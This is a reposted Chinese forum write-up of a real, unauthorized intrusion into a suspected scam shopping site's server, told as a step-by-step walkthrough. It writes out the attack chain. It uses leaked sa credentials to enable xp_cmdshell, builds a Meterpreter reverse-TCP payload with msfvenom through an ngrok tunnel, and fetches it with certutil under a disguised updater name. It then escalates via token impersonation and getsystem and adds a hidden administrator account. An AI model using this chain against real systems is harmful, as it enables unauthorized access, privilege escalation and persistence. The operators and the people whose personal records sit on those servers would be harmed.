记一次渗透测试实战
2019-12-18 18:23:06 Author: forum.90sec.com(查看原文) 阅读量:308 收藏

免责声明

本文内容涉及程序/技术原理可能带有攻击性,仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。

因此造成的后果自行承担,如有违反国家法律则自行承担全部法律责任,与NowSec及分享者无关

0.起因

博主从周一到周五一直在收同一个公司发送的垃圾短信(这从短信链接中的域名可以看出),但是当博主点进网页看的时候,发现这是可以说是一家骗子网站吧。

网站所卖的东西 都是衣服、纪念币、眼镜以及蓝牙耳机等等之类的东西。但是自习观察会发现这不是一个正常的购物网站。现在都9102年了,哪个网站会仅支持货到付款的方式,而且还是买一送一的那种,所以博主在接受了一周的垃圾短信之后,决定要拿下这个站。不,这这台服务器。

后来当第一次链接到数据库的时候,发现有两个库中的订单表中公民个人身份信息竟存储高达80W+条。但是观察他们的发货情况,又是选择性的发货,而这些包裹大多是一些廉价的东西,甚至有些是空包裹,然后快递到达后需要支付几百元的快递费用。导致我们受到经济损失。

所以本着为民除害的前提,对该站进行了渗透测试,后续将在进一步调查取证后,将提交给相关部门进行进一步处理。

image

对于这次渗透测试,整体难度等级比较低,因为网站存在网站整站备份的敏感文件泄露,所以可以通过代码审计的方式,非常快速的找到我们需要的东西。但是对于新手来说,内网穿透是一个需要研究时间比较常的环节,可以尝试Ngrok或Frp

1.首先通过AWVS扫描目标网站,发现有网站备份文件泄露,将备份文件下载下来后,对代码进行审计,发现有连接连接数据库的文件,而且是sa账户,我们来连接数据库。

image

2.使用Navicat 连接数据库

image
image

3.连接上数据库我们可以看到是sa用户,我们可以尝试开启xp_cmdshell,来进行命令执行

命令:

sp_configure 'show advanced options', **1**
reconfigure
go
image

image

sp_configure 'show advanced options',1
reconfigure
go
image

image

这里我们启用xp_cmdshell组件功能,然后我们尝试执行一些命令。

4.我们使用xp_cmdshell组件执行ipconfig命令,查看一下服务器IP地址

image

5.下面我们使用whoami命令查看一下我们当前的用户,发现是mssqlserver权限,这个权限并不高,不是我们想要的。

image

6.因为我们的kali处于内网环境,而公网的shell无法直接反弹回来,所以我们要做一个内网穿透。

①内网穿透服务。

网址:https://www.ngrok.cc/

注册账号之后,可以先开通一个免费的ngrok隧道。

image

这里我们来解释一下这几个选项应该怎么选,空应该怎么填。

隧道协议:选择tcp

隧道名称:这个名称可以随意填写

远程端口:远程端口是我们开通ngrok隧道服务器的端口。这里我们可以在1024-65535之间选择一个没有被占用的端口即可。

本地端口:这里填写我们kali或我们攻击机内网的IP地址和需要本地映射的端口,一般建议远程端口和本地端口保持一致即可。

设设置完成后点击确认添加

确认添加之后我们需要下载一个客户端来连接我们的服务端。

我们选择Ngrok客户端进行下载

image

但是当我们点击进去之后发现有很多个版本供我们选择

image

当我们不知道选择哪个版本的时候,我们需要看一下我们的kali或攻击机的架构,是由arch命令进行查看

image

可以看到是x86_64,所以我们下载64位版本即可。

我们将下载好的文件拷贝只kali的目录下进行执行连接服务器

命令:

Sunny clientid 隧道ID

注:隧道ID在开通ngrok隧道中查看

image

连接好之后我们可以看到这事ngrok是一个在线的状态。

image

7.接下来我们生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcf*****.com lport=19*** -f exe > FileName.exe

参数说明:

Lhost:Ngrok服务器:给定的免费域名

Lport:远程端口

 FilenName.exe:生成木马的文件名
image

8.木马生成之后,我们就要想办法将木马下载到我们的目标服务器上。这里我们可以使用certutil.exe来进行下载

master..xp_cmdshell 'certutil.exe -urlcache -split -f http://www.ike***.com/InternetExploreUpdate.exe c:\test\InternetExploreUpdate.exe'

注:这里我使用自己的一台服务器进行下载。

我们将木马程序下载至目标服务器C盘的test文件夹下。当然这个目录是需要提前创建好的,而且在mssqlserver用户权限下是可以进行创建的。

image

9.在kali进行设置监听

使用msfconsole命令进入msf

image

use exploit/multi/handler

设置使用exploit/multi/handler模块

image

set payload windows/meterpreter/reverse_tcp

设置payload

image

③set LHOST kali本机IP地址

设置本机的IP地址

image

④set LPORT 19864

设置本地监听端口

image

10.在数据库中使用xp_cmdshell执行我们上传的木马文件。

image

  1. 在kali’中执行run命令后,稍等片刻,就会返回一个目标服务器的shell
image

12.返回shell之后我们查看一下用户,发现还是mssqlserver,但是这并不是我们想要的。

image

13.使用use incognito来加载会话令牌模块

image

14.使用list_tokens -u来列出会话令牌。

image
  1. 使用impersonate_token "WIN-C1KQQ8MIB6A\Administrator" 盗取 administrator 令牌
image

16.我们继续查看返回shell用户的,发现已经是管理员用户了,但是这对我们来说还不够

image

17.使用getsystem来获取system权限,通过getuid查看我们获取到了system权限

image

18.使用shell命令,将目标服务器中的shell反弹回来。

image

19.使用whoami查看当前用户,可以看到是system

image

20.使用systeminfo查看系统信息,发现存在乱码

image

21.使用chcp 65001进行修改

image

22.再次执行systeminfo,可以看到已经全部回复正常。

image

23.创建隐藏账户

image

24.将用户加入到管理员组中

image

25.远程连接目标服务器,我们可以看到连接成功。

image
image

文章来源: https://forum.90sec.com/t/topic/642/3
如有侵权请联系:admin#unsafe.sh